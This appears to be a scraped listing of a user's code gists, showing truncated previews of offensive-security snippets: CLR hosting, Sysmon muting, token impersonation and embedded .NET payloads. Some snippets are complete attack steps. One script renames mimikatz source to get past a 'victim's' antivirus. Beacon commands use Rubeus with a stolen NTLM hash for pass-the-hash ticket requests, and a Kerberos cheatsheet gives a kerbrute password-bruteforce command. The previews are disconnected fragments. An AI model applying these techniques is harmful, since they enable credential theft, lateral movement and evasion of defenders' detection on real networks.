EspressoCake

#include "stdafx.h"

int main()
{
	ICLRMetaHost *metaHost = NULL;
	IEnumUnknown *runtime = NULL;
	ICLRRuntimeInfo *runtimeInfo = NULL;
	ICLRRuntimeHost *runtimeHost = NULL;
	IUnknown *enumRuntime = NULL;
	LPWSTR frameworkName = NULL;

EspressoCake

# This script downloads and slightly "obfuscates" the mimikatz project.
# Most AV solutions block mimikatz based on certain keywords in the binary like "mimikatz", "gentilkiwi", "[email protected]" ..., 
# so removing them from the project before compiling gets us past most of the AV solutions.
# We can even go further and change some functionality keywords like "sekurlsa", "logonpasswords", "lsadump", "minidump", "pth" ....,
# but this needs adapting to the doc, so it has not been done, try it if your victim's AV still detects mimikatz after this program.

git clone https://github.com/gentilkiwi/mimikatz.git windows
mv windows/mimikatz windows/windows
find windows/ -type f -print0 | xargs -0 sed -i 's/mimikatz/windows/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/MIMIKATZ/WINDOWS/g'

EspressoCake

// A demonstration example for http://stackoverflow.com/a/26124494
// It runs a goroutine locked to an OS thread on Windows
// then impersonates that thread as another user using its name
// and plaintext password, then reverts to the default security
// context before detaching from its OS thread.
package main

import (
	"log"
	"runtime"

EspressoCake

package main

//#include "dllmain.h"
import "C"

EspressoCake

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;

namespace MuteSysmon
{
    class Program

EspressoCake

package main

import (
	"bytes"
	"fmt"
	"os/exec"
	"strings"
)

// PowerShell struct

EspressoCake

#include "stdafx.h"
#include <windows.h>
#include <Winbase.h>
#include <Wtsapi32.h>
#include <Userenv.h>
#include <malloc.h>

#pragma comment(lib, "Wtsapi32.lib")
#pragma comment(lib, "Userenv.lib")

EspressoCake

##### IF ELEVATED:

# grab a TGT b64 blob with a valid NTLM/rc4 (or /aes256:X)
beacon> execute-assembly /home/specter/Rubeus.exe asktgt /user:USER /rc4:NTLM_HASH

# decode the base64 blob to a binary .kirbi
$ base64 -d ticket.b64 > ticket.kirbi

# sacrificial logon session (to prevent the TGT from overwriting your current logon session's TGT)
beacon> make_token DOMAIN\USER PassWordDoesntMatter

EspressoCake

package main

/*
Example Go program with multiple .NET Binaries embedded

This requires packr (https://github.com/gobuffalo/packr) and the utility. Install with:
	$ go get -u github.com/gobuffalo/packr/packr

Place all your EXEs are in a "binaries" folder

EspressoCake

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module: